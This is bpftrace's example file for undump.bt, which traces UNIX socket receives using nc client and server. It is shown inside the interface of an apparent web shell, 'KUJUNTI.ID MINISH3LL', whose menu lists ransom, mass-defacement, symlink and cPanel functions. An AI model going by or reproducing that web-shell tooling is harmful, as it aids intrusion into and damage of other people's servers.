KUJUNTI.ID MINISH3LL
Path : /proc/self/root/usr/share/doc/bpftrace/examples/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //proc/self/root/usr/share/doc/bpftrace/examples/undump_example.txt


Demonstrations of undump.bt, the Linux eBPF/bpftrace version.

This example trace the kernel function performing receive AP_UNIX socket
packet. Some example output:

Terminal 1, UNIX Socket Server:

```
$ nc -lU /var/tmp/unixsocket
# receive from Client
Hello, world
123abc
```

Terminal 2, UNIX socket Client:

```
$ nc -U /var/tmp/unixsocket
# Input some lines
Hello, world
123abc
```

Terminal 3, receive tracing:

```
$ sudo ./undump.bt
Attaching 3 probes...
Dump UNIX socket packages RX. Ctrl-C to end
TIME     COMM             PID      SIZE     DATA
20:40:11 nc               139071   13       Hello, world\x0a
20:40:14 nc               139071   7        123abc\x0a
^C
```


© KUJUNTI.ID